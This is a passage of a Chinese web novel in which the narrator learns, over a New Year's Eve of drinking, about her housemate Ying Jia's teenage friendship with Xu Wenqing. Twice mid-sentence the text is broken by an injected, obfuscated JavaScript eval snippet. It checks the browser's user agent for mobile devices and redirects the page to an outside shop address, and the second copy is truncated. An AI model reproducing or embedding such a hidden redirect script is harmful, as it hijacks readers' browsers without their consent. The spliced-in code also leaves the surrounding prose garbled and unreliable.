这瞬间勾起了我的居家隔离回忆,赶紧摇摇头把这话题甩开,继续往下翻相册。 后面其实也没几页了,但是手一碰到那一页的时候,我就发现了不同。别的页都是比较新的,给人一种把相片插进去就没翻看过的感觉,但那一页,边缘处明显要旧很多,不如别的页那样硬朗。 那一页一共有三张照片。 第一张,是应嘉的单人照。 看背景应该是在学校里,地上都是梧桐叶,应嘉穿了一件黄色的外套,灰蓝色牛仔裤,望着镜头,身体是板板正正站在梧桐树前,但是面上却是灿烂的笑容。看到这照片的一瞬间,我甚至怀疑自己认错了人。 第二张,可以说是应嘉的大头照,但画质有些糊,背景也很乱,一张张书桌,堆满了一堆堆的书。照片里,应嘉微微侧着脸,一只从镜头外伸过来的手,拿着油画笔,在应嘉脸上写字。我仔细看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459053|201260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了看,写的好像是“18必胜”。 第三张,是一张双人合照。 教室的走廊上,应嘉微微抿着唇,眼神闪躲着镜头,她身后,另外一个扎着马尾的女孩子大笑着将下巴垫在她的肩膀处,双手比划着小兔子耳朵,一只放在她的脑袋右侧,一只放在应嘉的脑袋左侧。 我拿着相册追问应嘉前两张照片拍摄时的故事。 阳光暖暖的,应嘉平淡的声音好似也跟着带着几丝暖意, “这张是高二上学期时拍的,文理分班后第二次月考出成绩,有明显进步的同学可以上光荣榜,班主任拿了相机给学委,让学委帮我们拍照。” 照片上的背景看着的确是秋天。我告诉应嘉我刚看到这张照片时简直以为自己看错了,因为从没见她这样笑过。 应嘉摇头,“当时学委一直让我笑一笑,但我笑不出来,一直僵硬假笑。” 我不认同,“啊,不会呀,这个笑很好看哎!” 应嘉弯腰看了一眼我手中的照片,“那是因为当时我朋友在学委后面扮鬼脸逗我……拍这张照片是早自习下课时,那天刚好是我朋友做值日生,来打扫梧桐树叶。” 因为看见应嘉笑得不够开心,所以便站在镜头外故意逗应嘉吗? 但能逗得应嘉笑成这样的,我猜测一定本身就是非常好的朋友。 第二张—— “这是高一上学期时,国庆放假前的合唱比赛,班长买了油彩过来,让我们每个人都在脸上写加油语,我们是18班,所以就写18必胜。这是一个同学用手机抓拍的,当时我朋友正在帮我写。我本来不知道有这张照片,一直到高中毕业时,我朋友送我的毕业礼物里放着这张照片。” 第三张,我没问应嘉由来。 我几乎可以笃定,站在应嘉身后的那个女孩就是前两张中没出现在镜头下但却占了百分百存在感的朋友。 更大概,这就是那个“清清”。 我合上相册,“这里面你的照片也太少了点,为嘛不多拍点?” 我以为应嘉会不认同这话,毕竟她看起来实在不像是喜欢拍照的性格,但没想到应嘉沉默了一会儿,弯腰又把相册拿了起来,打开到了那一页,看了许久,才笑了笑, “是应该多拍些的。 如果那时候就知道时光如此转瞬即逝,或许就不会那样畏惧镜头了。” 她看相册看得认真。 她一定早已这样看过许多次。 只看这一页。 是怀念从前的自己吗?我的直觉告诉我,应嘉怀念的是那个同她合影的女孩。 古今中外,关于友情的故事数不胜数,甚至可以说应该没什么新奇的情节了,所以我很快就在心里猜测出了一个昔日好友如今陌路的故事来。 因为异地各自有了好友而逐渐冷淡、因为某些误会没法回头重圆,又或许没什么冲突只是随着时间流逝就莫名奇妙走到了生疏,再或者像是戏剧化那样因为异性而离心。 不过我下意识否决了最后的这种猜测。 因为长这么大,除了小说中这样写,我是真没在现实中见过哪对好友喜欢同一个人的。 我脑补了很多个情形……好吧好吧,我承认,我其实对关于应嘉的往事全部都好奇得不得了。 我准备找一个合适的机会开口打听打听。 4. 上弦月 (八) 机智如我,很快就找到了机会。 那是元旦的前一天,十二月三十一日,因为我主张晚饭时搞点跨年的仪式感,所以午饭后我和应嘉一同去了趟超市进行大采购,林林总总买了超多东西回来。 回到家后,已经差不多下午三点。 我和应嘉开始各忙各的,过了一个多小时,我看应嘉已经备完了课,拿了书在窗前看。 她非常喜欢窗前的那个位置,尤其是落日时分,她经常看着窗外发呆。 我好奇凑过去看过几次,见外面是红色晚霞,好看倒是好看,但看久了其实也厌倦,不知道应嘉为何这样痴迷。 我在心里做好准备,倒数三二一,就开始了我的表演。 我假装码字卡文,烦躁不堪,在客厅里走来走去。 应嘉果然被我的动静打扰到,看我这样,便问我怎么了。 我瘫倒在沙发上,有气无力,“卡文,删了写,写了删,怎么写都感觉味道不对,我要烦死了。” 应嘉提议我出门透透气放松一下,我故意摆烂拒绝,自己拿着手机嘟嘟囔囔的,好像在整理大纲一样。在感觉时机到了时,假装为了寻求灵感似的,开口问应嘉有没有过好朋友。 应嘉点头。 我顺杆往上爬,拜托她能不能给我讲一讲她和她朋友之间的故事。 应嘉果然上当,摇摇头说,“就很平淡的生活,估计给不了你什么写小说的灵感。” 但耐不住我再三央求她,她最后还是同意了,“我只有过一个好朋友。” 我问,“是相册里和你合照的那个吗?” 应嘉微微愣了下,可能是没想到我还记得那张照片。她点头的时候,我注意到她的肩膀因我提起那张照片而放松了下来。 她可能一时间不知从哪里开始说起,所以刚开口时有些犹豫和徘徊,但很快就流畅起来。 我想,可能在开口向我说之前,应嘉曾在心里无数次回忆过。 因为这是很长很长的一段话,长到应嘉说到中途去开了一罐又一罐的酒解渴,长到一个小节说不完,长到应嘉说着说着已经忘却了时间完全陷入了回忆中,长到我也散去了欺骗应嘉的心虚而被应嘉一起拽回到了过去。 但我记得应嘉说过的每一个字。 我现在把它一字不漏地重复给您听。 您不用担忧这是一段悲伤的讲述。 在我听来,这段往事有着命运对应嘉的太多不公,但应嘉作为当事人、亲历者,却是那样的满足与开心。她在回忆的过程中露出来的笑容,比我自认识她以来见她笑过的次数还要多。 而我,也终于知道了,“清清”的全名是叫“徐文清”。 (九) “我应该从哪里说起?随便吗?好吧,那我想起什么说什么吧……嗯,我和她应该可以算得上是发小。虽然中间有过三四年的时间没见过面,也没联系过。不过这都怪我。我如果能像别的同学那样有一部手机,或者大胆一些去网吧,没准就可以尽早有一个QQ号,那样中间那些时间我们应该就也可以保持联系了。 但我没有。” “我读小学时,她每次寒暑假都回村子里她姥姥家住。我其实不喜欢寒暑假,我喜欢待在学校,但是因为寒暑假都可以见到她,所以每次我都盼望着快点到寒假暑假。” “她说话特别好听,知道的事情很多,吃过的东西也很多,看过的动画片也多。名字也好听,而且是一出生就有大名。她叫徐文清,我那时觉得我没听过比她名字更好听的名字了,在村头小学里,大家都叫婷婷、丽娟、慧茹、梦梦、真真,从没人叫徐文清,听起来就好像是语文课文下方小字里作者的名字一样的好听。” “我一般都喊她清清。清清,清清,你是不是也觉得这名字好听?连小名也好听,像山泉水一样的,虽然那时我根本没见过山,更没见过山泉水,但肯定和我老家的堆满垃圾的水沟一个天上一个地下就是了。” “我可能讲得有点乱,希望你不要介意……我记不太清是五年级上册还是下册时了,清清的姥姥去世,从那以后,清清就没有再回过村里了。” “我也是很后来很后来才知晓,她姥姥去世时,她妈妈和几个舅舅之间闹得很不愉快,所以后来她妈妈回老家上坟烧纸时都是当天回当天就走,也就没带她一起回来。” “她不回来的日子里,我自己到了镇上初中读六年级,七年级,八年级,九年级,除了第一年六年级没有晚自习,剩下的三年全部都是住校生活。说来不怕你笑话,这林林总总的四年里,我一个朋友都没交到。最开始,我很埋怨她,明明最后一次分别时说好的下次还要见面,结果她却一点儿信用都不讲。我在信里写,要和她绝交,但是我连把信交出去的机会都没有。” “也是那会儿,我想到,或许我对于她来讲,只是个过客罢了。 就像是你和大人一起去走亲戚,无聊时和亲戚邻居家的孩子玩到了一起去,你们玩得欢快极了,忘却了时间,在大人们的催促下依依不舍地告别,但过不了几日,你就把这个朋友抛之脑后了,再过更长的一段的时间,偶然的一次机会,你父母问起你还记得以前和你一起玩过的那谁谁吗,你或许记得一个模糊的声音和身影,又或许已经彻底忘却,但都不重要了,父母的这个问句对你来说就是一个回答是或否的问题,而不是一把你会主动接过的打开记忆大门的钥匙。 世界多美好,过往的人或事该抛掉的就抛掉。 那时,我就是这样揣测她的。” “但她没有忘记我。有一次清明节,学校放假,我从镇上回家拿衣服,半路上遇到了她妈妈,论村里那些沾亲带故的关系,我应该喊她六姑,不过后来我更习惯喊她应阿姨。 当时她妈妈手里还拿着黄纸,远远地喊我过去,从口袋里掏出个纸条给我,说正好遇见我,就不去我家了,又说前几次回来都去了我家,但都没遇见我,就把东西交给我爸妈了。” “纸条上有一串数字,叫QQ号,是清清的,她让我加她好友。我从没从我爸妈口中得知过纸条的事情。” “我拿着纸条开心得不得了,恨不能立刻就能按照他说的加她好友,虽然我完全不知道这东西怎么使用。我没有手机,也不好意思借同学的,就偷偷地攒钱去了一趟网吧,但我根本不会用电脑,光是开机就默默捯饬了半天,开了机后不会使用鼠标左右键,更不用说怎么打开QQ怎么注册了。 现在回想起来,也是可笑,哪怕开口问一下旁边的人也好啊,但我那时,就那样沉默又局促地出了网吧。 我在网吧浪费了一块五毛钱,也没办成事。” “幸好后面很快就到了初三,中考开始倒计时,我爸承诺如果我考上高中就给我买一部手机。中考后,我有了自己的第一部手机,不过并不是我爸给我买的,而是我小姑换下来的旧手机。 我终于琢磨明白了QQ号这东西,但那张小纸条却找不到了。 那会儿我弟是我们家里的祖宗,他想玩什么就玩什么,我的日记本、我的放东西的铁盒子,在我弟眼里都不过是他随手玩随手丢的玩具。” “不过说来真是幸运,命运对我足够眷顾。 我到县城读高中,开学前一天,到学校门口展示栏看分班表,在我在的班级里,看到了徐文清这个名字……简直是amazing!” “你可能不理解我为什么那样震惊,我读书的那个小县城一共有六所高中,我读的是一中,那是2013年,一中的那一届一共有31个高一班级,录取了来自县城本地以及下面乡镇的几十所初中的约两千名学生……而应嘉和徐文清,这两个来自不同初中的名字,竟然出现在了同一张纸上的表格里。 简直像是做梦一样。 我当时从没考虑过会不会是重名了,在我的想法里,我根本想不到有人会和清清重名。” “哪怕现在回想起来,我也依旧感觉我也太幸运了。在那之前,我以为自己再也没有朋友了的。” “等一下,我太渴了,我去拿几瓶饮料,你要吗?你就别喝酒了,冰箱里还有一罐旺仔给你吧……继续刚刚的话……再后面,就是我们重逢后的高中生活了。” “其实那会儿我还挺担忧的,我很忐忑,我不知道她是否像我期待与她见面一样的期待与我见面。我还担心,我一直没有加她QQ好友,她会不会以为我是故意的。我还忍不住想,她身边会不会已经有很多要好的朋友了。” “所以我决定装得淡定一些。这样如果她没有重逢的欢喜,我也不会显得很尴尬。” “但第二天开学时,在那个挂着高一13班牌子的教室里,我一看到她,我就知道她还是我记忆中的清清。” “她对我说的第一句话是,小雪,我昨天看到名单上有你名字,我还以为看错了呢!还有,你怎么一直没加我QQ啊?” “你可能会以为清清是那种非常外向开朗的女生,嗯——你们写网文是不是有种人设叫做小太阳?你是不是以为清清就是小太阳这样的性格?” “其实并不是的,如果你见到她,你就会知道她是那种气质上更偏向于文静内敛的性格。” “我和她同龄,她却总像是我的姐姐一样。甚至有些时候……像是妈妈一样。哎,你知道梅兰妮吗?就是小说《飘》里的梅兰妮,这是我最喜欢的小说角色,清清就和梅兰妮有些像。当然了,清清并不是梅兰妮。清清就是清清。” “不好意思,我跑题了……重新说起我们在教室里重逢那天。那天下午开始上第一次课,座位是随机的,我和清清坐了后排靠窗的位置,结果那天天太阴了,教室里有点暗,老师没开灯也没同学提起,我近视看不清,但是没勇气和老师说开灯,然后清清就直接举手站了起来,问老师能不能开一下灯,后排有同学看不清。” “她就是这样的,很多时候很安静,但却总有让人意想不到的坦诚和勇敢。就像是一起去买冰淇淋,我拿到了一个蛋筒碎掉的冰淇淋,只会皱眉不高兴说服自己接受,但她会接过我手里的冰淇淋递还给店员——你好,我朋友的这个蛋筒碎了太多了,麻烦帮她换一个可以吗?” “她太好了。越是同她做朋友,我就越想成为她最好的朋友。但她也有自己的朋友,她的初中同学也有升入一中的,虽然不在同一个班级,但她们也还保持着联系。而且在新的班级里,也还有很多其他愿意同她做朋友的。” “而我呢,又自卑又敏感,我既不敢付出,也不知如何付出,我不知道怎么对人好,也不知道怎么维系友谊,我的唯一方法,就是假如清清冷淡我了,我要假装毫不在意来维系体面。 哈哈哈,你想笑就笑吧,因为我现在回想起这种假想的体面也一样感到莫名其妙。” “你问我后续?后续,就是我所做的那些假想根本就是自寻烦恼,我自己都不知道原因的情况下,我就成了清清最好的朋友。 我问过她这个问题,她反倒是反过来问我,问我不想和她做朋友还想和谁做朋友?” “那时候的时光简直太美好了……等下,RIO竟然都喝完了,我记得家里还有一瓶葡萄酒,奥,在这里,我找找开瓶器……放心好了,这点儿酒还不至于让我喝醉。而且清清可以给我作证,我酒品很好的,喝醉了也不乱闹,顶多大概也许会变得话稍微有点多有点儿啰嗦。 你不信我,也该相信清清。 她是特别特别可靠的人。” “刚刚讲到哪里了?高中生活……我得先和你讲一下我们那所高中。那是一所老学校,破破烂烂的,没有食堂也没宿舍,所有的学生要么是本身家就离得不远可以回家住和吃,要么就在学校附近租房子住买着吃。” “以学校为中心,四面八方布满了棋盘格一样的巷道,在这些小道的两侧,有六七层的高楼,也有很多挤在其中的自建房,横七竖八的窗户一扇又一扇,几千名学生以及一些陪读家长的身影就时不时闪现在这些窗户的后面。” “清清回家住,我呢,则在一个老夫妻自家的小院里租了一间小房子,一年租金两千二百五十,不用付水电费,但是房间里不能用大功率电器,每天可以从房东那里免费领一暖壶热水,如果不够用,就要花钱买,两元一瓶……” “清清刚知道那会儿,气得要带我去找房东理论,她特别气愤:两元一瓶?怎么不干脆去抢钱呢?更何况,那水壶还是小水壶,一壶水洗脸洗脚都勉强!” “那会儿我爸妈正在闹离婚,没人顾得上我,所以房子是我自己找的,租之前也不知道不能自己用热得快,住进去才发现诸多坑,本来我也是又气又委屈,半夜还偷偷哭过,但看见清清那样为我不平,我就又感觉没那么糟糕了。” “清清让我去她家住,我不愿意……我害怕打扰到他们家的生活……反正后面,我就在那小院里住了三年。那小院主屋一共有三层,主屋加上院子里的房间林林总总住了十几个学生,比较幸运的是,院子里的南北一共五间都是住的女生,这样用同一个洗手间时倒是免去了许多尴尬的时刻。” “也是因为这个清清才稍微少了点意见……她不知从哪里听到的八卦事件,说是其他的高中有男生偷拍女生宿舍还偷女生内衣,让我也千万小心男的,如果我住的院子里搬来了男租客,一定要同她讲。 她总是嫌弃我太单纯,总是很怕我被人骗了……哈哈哈,我真没法了,我真不明白她这错误的认知从哪儿来的。” “要说单纯,最单纯的人应该是她才对,我再没见过像她那样的人。 我不知如何形容,就是坦诚的、没有私心的、明亮的……你靠近她,你就会怀疑这个人怎么这么好呀,这世上怎么会有这样不求任何回报对别人好的人啊? 我从没见过这样的人。 小时候我们相识,我把她当做好朋友,当做一种昏暗生活里的希冀,但高中那几年里,我才真正感受到她是一个那样好的人。” “我本来不相信的,这世界上竟然真的存在这种纯粹的情感……课本上歌颂母爱、歌颂父爱,但这些我那时都认为是在骗人的,即使真有,也都是夹杂着大量的杂质,根本算不上什么美好的东西……对了,还有友谊,我那时也认为是不干不净的,轻而易举就能分崩离析……” “清清改写了我对这些感情的所有认知。 我不能说自己有多笃信这些感情的美好,但至少,她让我明白了这世界上的的确确有很多好的情感。” “我是不是又跑题了?不好意思,我头有点晕,思绪太乱了……啊,我没喝醉……我继续讲吧……讲什么呢……唉,我刚刚好像讲得都太抽象含糊了,我该讲些具体的事情的……” “嗯——我读高中时,是2013年到2016年,那几年里,我爸妈离婚又复婚,复婚又离婚,反正具体多少次我都搞不清楚了,他们俩打牌,前前后后好像输了不少钱吧,我高一上学期时,一个月生活费还是四五百,到了高一下学期,一个月就只剩下三百了,有时拿着邮政卡去取钱,发现里面根本没钱。” “我省吃俭用,还是顾东就顾不了西,差不多到了饿肚子的状态……清清就想了各种办法帮我,她总是有早上吃不下去的水煮蛋,总是有快要过期的纯牛奶,口袋里总放着几个核桃……有时我看她想借口想得头疼,便干脆点问她又偷偷带了什么过来。她总是眨眨眼,可能掏出一块巧克力,也可能掏出一袋小熊饼干……哈哈哈,甚至可能是一瓶水果罐头。” “对,就是疫情期间传闻可以缓解嗓子疼的那种罐头,厚厚的玻璃瓶,好大一罐,她竟然塞进书包里带到了学校里,太傻了,她也不嫌沉……我第一次吃水果罐头就是在那时候,太甜了,现在已经过去近十年,我都还记得咬到第一口时汁水溢满口腔的味道。 真的有些太甜了。” “我们俩每天晚自习放学后在校门口分别,到家后一定要互发QQ消息知会一声到家了……第二天早自习前在校门口汇合……周六下午放学,不用上晚自习,清清通常会和我一起回我住的小院。” “我把大盆拖到院子里,蹲在抽水电机前洗衣服,清清就蹲下来一起帮我,院子里来来往往的人,我们俩就压低声音说话……东扯一句,西扯一句,学校门前地摊上盗版书最后一页的冷笑话,疯狂阅读里某个伤感的古风小说,新概念作文里有篇莫名其妙完全看不懂却得了奖的……” “奥,对了,清清家里总是有很多书,她说她堂叔是小学老师,家里老多藏书了,让我想看什么就说,她去找找看有没有……有段时间,我迷恋林清玄的散文,她就真带了一整套过来……我在杂志上看到有个记者写了本叫《看见》的书,和她随口提过一句,两天后她就从书包里掏出了一本塞进了我桌洞里,我佩服得不得了,她却只是摆摆手,轻描淡写,小事一件,洒洒水啦!” “有时周六晚上我们会一起吃晚饭,她总是迁就我的钱包,我们一起吃打卤面,一盆只要两块五,连汤带面全部吃完肚子饱饱的,时间还早的话,就一人一个耳机,沿着曼江公园散步……啊?你是问曼江吗?其实不是条江啦,只是那个公园傍着辰河的一个小支流,起名叫曼江公园…… 公园不大,我们就绕着圈走,听各种各样的歌,荷塘月色、千百度、Yesterday once more、红尘客栈、修炼爱情、爸爸去哪儿、Trouble is a freiday……反正总有听不完的歌……” “那时候天也是蓝的,云也是白的。 像是梦一样。” “啊?学习吗?哈哈哈,我俩成绩都一般般,高一结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你也没听清吗?那我随便重新起个头吧?奥,我不饿……好吧……那我吃一点吧……哎呀,本来说好和你一起跨年的,我好像在这里啰里啰嗦说的太多了……没关系吗?” “你真的还想听呀?哈哈哈,那我继续吧……我从没和别人说过这些……其实好像也没了……等下,我好像还没讲我过生日呢!” “那是高一下学期刚开学一个月左右,我根本没过过生日,也没有生日这天是个特殊日子的概念,所以那一天我根本没留意是二月十四……我就正常的上学上课放学,在学校门口要和清清分别时,她突然拉住我,神秘兮兮往我书包里塞了个东西,又让我到家后等她的电话……” “我刚到家,手机就响了……当时是晚上九点多,清清说,小雪,你快打开手机收音机,选择FM9.08……” “我按照她说的,找到那个频道,是纯音乐声……在我疑惑的等待中,大概过了一两分钟,一个女声欢快响起: 下面插播一条生日祝福,来自辛和市的XWQ同学为她最好的朋友YJ同学点了一首梁静茹的《暖暖》,X同学留言,希望她的好朋友生日快乐、天天开心~下面让我们一起来聆听这首在生日时响起的暖暖~” (十) 后面呢? 高中结束后,后面不应该还有七八年的时间才到如今吗? 我那天听得入了迷,还想追问,但应嘉已经抱着膝盖蜷缩在沙发上睡着了。 她睡得那样安稳,连唇角都挂着笑,我抱了一床被子过来,盖在她身上。 我把应嘉的眼镜小心取了下来,离得近了,我才发现,应嘉的睫毛生得又密又长,现在安静地垂下,还能看见睫根处带着的一点湿漉漉。 ——她中途有好几次,自己讲到欢快处,笑得停不下来,笑出了泪花。 她喝酒喝得太多,我庆幸在她睡前催着她吃了几块干牛肉和一块烤面包片,不然真怕胃里遭不住。 我过去把客厅的主灯都关了,看了看时间,是晚上八点多。我其实也不大饿,坐到电脑前想码会儿字,发现完全静不下心来。 真讨厌应嘉的父母! 真不配做父母! 应嘉提起这些时总是平静的一笔带过,但我听的时候实在很难不生气! 一个十四五岁的孩子,自己一个人从乡下农村到县城里租房子,自己一个人安排生活……我只要一想到这些,就难忍气愤,还有心酸。 如果我要是早十多年认识应嘉就好了。 我现在对应嘉一见如故,早十多年遇见的话,肯定还是会一见如故的,那样我就可以像徐文清一样成为应嘉的好朋友了。 而且巧合的是,我和应嘉也是同龄。 我想东想西,在椅子上坐不住,干脆起来准备去煮个粥,等应嘉醒来了可以一起喝一些。 我到了厨房,淘米、清洗红枣,剥桂圆剥到一半,突然恍然,原来上次从应嘉书中掉出来的吉他谱是徐文清的。 一张十年前保存至今的吉他谱。 这中间岁月漫长,这张乐谱大概也和应嘉一样,在县城小院的出租房待过,在异省异市的大学宿舍待过,后来又去了应嘉工作的城市,最后陪着她辗转到了此地。 我想起吉他谱上的歌词,口中不自觉哼了几句。 人生路上甜苦和喜忧, 愿与你分担所有。 难免曾经跌倒和等候, 要勇敢的抬头。 把电饭煲设置好,时间还早,我也毫无困意,就坐在应嘉常坐的窗前刷手机。 其实也没什么好刷的,各个软件来回切换,点进去又退出,退出又点进去。看跨年晚会,各个电视台的都看了遍,其实都一样的无聊,唱歌,唱歌,单人唱歌,几个人合唱,一样的脸一样的声音。 打开微博,扫了两眼就关了……甚至不如微信小程序来一局五子棋。 就在这枯燥乏味下,天色竟蓦然一亮,玻璃也为之颤动。 我下意识看向应嘉,见她果然被吵醒。 而窗外,在这一声烟花过后,整个小镇都好似在一瞬间苏醒了。 一声接着一声的震响,一处连着一处的光亮。 元旦而已,倒是过出了一种除夕的热闹。 许是平日里总是太寂寥,这一刻的火树银花就让人觉得有几分感动。 我看向应嘉,想对她说声新年快乐,却见她正仰头看着窗外,神色怔怔。 我们之间不过是窗前到沙发的距离而已,但我却感觉她离我很远。 窗外烟花还在继续,我完全没心思看,只想说点什么话,打破此刻这种不知从而来的距离。我想了半天才想起来粥的事,赶紧过去开了客厅的灯,问她要不要喝点粥。 怕她拒绝,又啰嗦了些诸如什么煮太多了我一个人喝不完之类的话。 好在应嘉并没拒绝。 一起在桌前坐下后,我才察觉应嘉应该是酒还没醒。 她反应明显比平常慢半拍,低着头一勺一勺的喝粥,每一个动作,都格外程序化。 我切了一个咸鸭蛋,递了一半给她,她愣了几秒,才接过去,吃了一口,又抬起头看我,非常认真地说谢谢。 我差点没忍住笑出声来。 鲜少见她这模样,于是就故意找她聊天,她也句句有回应,只是每次都需要些时间把耳朵听到的话传输到大脑里,再把大脑里的想法转换成语言。 我想起她喝醉酒前未尽的话题,于是又起了打听的心思。 我问她,有很久没和徐文清见面了吗? 她说, 四百四十三天。 不带今天。 这一句,没有经过那漫长的反射弧,是脱口而出的。 我那时瞬间就中止了继续打听下去的想法。 至少,在那天,不合适。 元旦,新的一年的开端,我不想应嘉在辞旧迎新的日子里回忆起难过的往事。 不过现在回想起来,其实那晚我问与不问或许都没差别。 对于应嘉而言,和徐文清分别的日子她大概都是一天一天数着过的。 不然何至于记得那样清楚。 连酒精这样的东西都难以模糊掉。 那晚其实还有件搞笑的事情,应嘉吃完饭后,又坚持认为既然我做了饭,她就应该刷碗刷锅,分担另一半的家务,我拦不住她,只得由着她,结果她一不留神把两只碗都摔了个干净,自责不已,大半夜要去买碗。 但我一装病,说自己胃疼需要人看顾,她就不再坚持出去了。 我早发现了。 其实她是个内心特别柔软的人。 她回忆中的徐文清总是特别美好。 其实她也一样的。 徐文清肯定也发现了。 5. 上弦月 (十一) 元旦过后,连着一周多都是晴日。 整日在家中待着未免太缺乏运动了些,我本想约应嘉一同去市区玩,后来发现我们这小镇竟然有座山,于是当即查了攻略,拉着应嘉同我一起去爬这一座叫长寿山的山。 冬天,树都枯了绝大多数,山景委实算不上美丽,但胜在登高望远,视野一开阔,心情也跟着爽快几分。 而且那日外来的游客竟然也不少,三三两两的人群外,还有似乎是从韩国来的旅游团,统一帽子,举着旗子,好不热闹。 我是个没什么耐力的运动苦手,应嘉又大多数时候都顺着我,所以我俩就走走停停,也不追求爬到山顶,权当做散步。 中途,我不留神和一个发传单的大娘对视了一眼,瞬间被大娘锁定了。这小镇信教人士很多,所以我起初以为是传教的,接过传单后才发现是相亲广告。 这大娘明显比之前遇到的那些传教人士都还要厉害些,一个照面下来,我竟连个插嘴的机会都没有,大娘嘴张张合合,在我没反应过来之前,就已经把我从头到脚夸了遍,开始转向打听我的家庭情况。 我苦哈哈着一张脸,无奈看向应嘉。 没想到应嘉竟真有办法,她一本正经过来和大娘说了句我俩是情侣关系,大娘一听,立马就骂骂咧咧地走了。 我捂着嘴,看那大娘人走远了后才敢放声来笑。我笑得走不了路,应嘉就神色淡定站在一旁等我,一副无可奈何只能由着我的摸样。 我冲着应嘉扬了扬手中传单,“这上面有相亲群二维码,要不咱们进群观光观光?” 应嘉婉拒了,“既然并没有恋爱结婚的意思,何必打扰别人。” 我也只是随口一问,闻言顺手把单页扔进了垃圾桶,和应嘉一起继续往上爬。 走了一会儿,又忍不住没话找话。我问应嘉,之前有没有遇见过想要结婚的人。 完全出乎我的意料,这个问题,应嘉给了我肯定回答。 我被震惊到说不出话来,半晌回过神,才想起追问对方是什么样的人。 应嘉神色淡定,“比我大几岁,个子高高,挺爱笑的,那时感觉他人不错,家人也好。” 我等着后文,结果就这几句就没了。 我说这未免太模糊了些,又追问应嘉,当时他们怎么谈的恋爱。 应嘉却摇头,“没到恋爱的程度,顶多算是短暂暧昧过一两周,至于结婚,也只是我单方面考虑过和他结婚。他的想法,我不太清楚。” 她说得简洁,我听得直皱眉。 应嘉给我的印象完全不是这样的人。 这样只考虑合适不合适而不考虑是否相爱就结婚的人。 我直觉感觉不对劲,又想起徐文清来,赶忙问应嘉,“你朋友那时没拦着你吗?” 应嘉罕见沉默了下,“她不知道。” 我错愕,“你们那时吵架了?” 应嘉否认,“没吵架,是我还不能确定那男的的想法,所以还没和她说。” 许是看出我一头雾水的摸样,应嘉用一种平静到好似在说天气不错的语气补充道,“那男的是她哥。” 我控制不住地“啊”了一声。 但刹那过后,竟又近乎于荒谬地产生了一种果然如此的感觉。 虽然离谱,但的确说得通。我猜测,一定是徐文清的家庭氛围吸引住了应嘉。 后面,我有意无意地旁击侧敲后,发现徐文清家中果然是那种父母恩爱兄妹和谐的类型。 徐文清爸爸是卡车司机,沉默寡言但和蔼。妈妈在一家幼儿园食堂工作,厨艺好为人随和。哥哥比徐文清大三岁,第一年大学没考上,复读一年上了大专,性格开朗,朋友多,喜欢打篮球,在家里会帮着父母做家务,大学放假早回老家后会晚上去学校门口接妹妹放学。 但令我疑惑的是,应嘉说起这些时语气里却有种若有若无地漫不经心。 这完全不像是渴望羡慕喜欢这种家庭氛围的感觉。 我想不通到底是哪里不对,只得先放下疑惑,继续同应嘉边走边聊。 我如实相告,“我刚刚真是惊到了,我以为你一直都是不婚主义者呢。” 应嘉思索了下,带着些不确信地开口, “我的确害怕和一个异性恋爱结婚,但那时我想到,如果可以成为清清的家人,好像结婚就也没那么可怕了。” 这次轮到我沉默了。 原来是做朋友还不够,要做家人才可以么? 我说不上心里是什么怪异感受,木木发问,那为何最后却没成。 应嘉说她也不知道。 我立马以自己写言情网文最会分析感情为由,怂恿应嘉说出来,想要给她做一回狗头军师。 应嘉是可有可无的态度,对这事完全没好奇心,估计就只是因为我坚持,她才简单说了下始末。 大概是2019年夏,应嘉暑假回家,和徐文清一起在县城一家辅导班找了个助教的工作。 因为时间短暂,租房子不好租,徐文清便拉着应嘉一同去她家中住。 那时,徐文清的哥哥徐文韬已经毕业,正在家里备考编制。 但应嘉和徐文清早出晚归,倒是和他没太多交集。 直到有一天休息日,徐文清陪同她妈妈去了亲戚家,应嘉自己在徐家不自在,就找了个借口外出,在肯德基店里乘凉打发时间。 她就是在那时收到了一条短信,是徐文韬发来的,问她愿不愿意帮个忙消耗一下电影票。 他买了两张票,可原来的搭子爽约了,票是特价票,退不了,他不想浪费票。 应嘉去了。 后来又有几次,多买的饮料,刚好有优惠券的甜点,还有偶尔一两次应嘉在徐家吃饭时,饭后发来的微信,问她是不是那天的饭不合胃口,没怎么见她吃,要不要一起出去吃夜宵。 再然后,就突然在某一天戛然而止了。 再加上,临近开学,徐文清说提前走,她想去应嘉学校那边玩几天再回她自己学校,所以应嘉也就把这事抛之脑后了。 我认真听完,又试图问问细节,却发现根本没细节。 因为应嘉根本不记得。 比如,我问她,那次出去看电影时,看的什么电影,对方说了什么话没,应嘉回应,隐约记得是个爱情片,其他的没了。 反正最后狗头军师没当成,绝非我学艺不精,而是线索太少没头绪。 应嘉见我一副沉思摸样,反过来安慰我,不是重要事,不用再多想了。 我哭笑不得,心里反倒是多少有些庆幸当时没继续发展下去。 应嘉心思单纯,在人情世故上想得简单,她大概从没考虑过,要是真成了徐文清的嫂子但最后又和徐文清疏离了怎么办,那时岂不是进退两难? 我没把这话说出来。 毕竟是过去事了,追讨过去没意义,而且说这话难免会让应嘉又想起如今已经和徐文清断了联系的事。 她明显还没放下这段已经是往事的友谊。 我拉着她鼓足了劲地往山顶爬。 大口大口呼吸新鲜空气。 在山上拉着她合照。 在她转头躲避镜头前,按下快门键。 (十二) 那次爬山游玩回家后,年关也将至了。 我妈妈常发微信问我几时回家,买没买票,我想念妈妈,但想到应嘉估计是一个人在这小镇过年,就忍不住多拖了几天。 当然,应嘉并不需要这样的怜悯或者同情,我多留几天,其实也只是我的一厢情愿罢了。 因此应嘉问起我时,我只说怕到家了不能睡懒觉,想要再多过几天懒散日子。 